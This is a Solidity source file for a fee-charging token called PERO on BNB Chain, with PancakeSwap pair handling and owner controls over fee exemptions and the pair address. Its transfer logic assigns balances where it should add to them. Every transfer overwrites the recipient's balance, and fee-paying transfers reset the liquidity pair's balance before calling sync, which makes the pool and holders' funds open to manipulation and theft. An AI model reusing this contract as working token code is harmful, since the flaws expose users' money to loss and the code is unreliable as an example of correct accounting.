pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
constructor () public{
owner = msg.sender;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract PERO is IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
address public pair;
bool public pairIsCreated = true;
address public poolTempAddress = 0x1000000000000000000000000000000000000001;
uint256 public stopBurnAmount = 2000 * 10**4 *10**18;
mapping (address => bool) public isExcludedFromFees;
constructor() public {
address router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address usdt = 0x55d398326f99059fF775485246999027B3197955;
address _pair = pairFor(IPancakeRouter(router).factory(), address(this), usdt);
pair = _pair;
uint256 total = 2 * 10**8 *10**18;
_balances[msg.sender] = total;
_totalSupply = total;
emit Transfer(address(0), msg.sender, total);
isExcludedFromFees[msg.sender] = true;
}
function symbol() external pure returns (string memory) {
return "PERO";
}
function name() external pure returns (string memory) {
return "PERO";
}
function decimals() external pure returns (uint8) {
return 18;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply - _balances[address(0)];
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function _transferNormal(address sender, address recipient, uint256 amount) private {
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] = amount;
emit Transfer(sender, recipient, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
if(isExcludedFromFees[sender] || isExcludedFromFees[recipient]) {
_transferNormal(sender, recipient, amount);
return;
}
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
uint256 receiveAmount = amount;
if(totalSupply() > stopBurnAmount) {
uint256 burnAmount = amount*4/100;
_totalSupply -= burnAmount;
emit Transfer(sender, address(0), burnAmount);
receiveAmount -= burnAmount;
}
uint256 poolAmount = amount*4/100;
_balances[poolTempAddress] = poolAmount;
emit Transfer(sender, poolTempAddress, poolAmount);
receiveAmount -= poolAmount;
if (sender != pair && recipient != pair) {
uint256 poolTempAmount = _balances[poolTempAddress];
if(poolTempAmount != 0 && pairIsCreated) {
_balances[pair] = poolTempAmount;
emit Transfer(poolTempAddress, pair, poolTempAmount);
_balances[poolTempAddress] = 0;
IPancakePair(pair).sync();
}
}
_balances[recipient] = receiveAmount;
emit Transfer(sender, recipient, receiveAmount);
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair_) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair_ = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5'
)))));
}
function setPair(address _pair) external onlyOwner {
pair = _pair;
}
function setP(bool b) external onlyOwner {
pairIsCreated = b;
}
function setExcludeFee(address a, bool b) external onlyOwner {
isExcludedFromFees[a] = b;
}
}
interface IPancakeRouter {
function factory() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
}
interface IPancakePair{
function token0() external view returns (address);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function sync() external;
}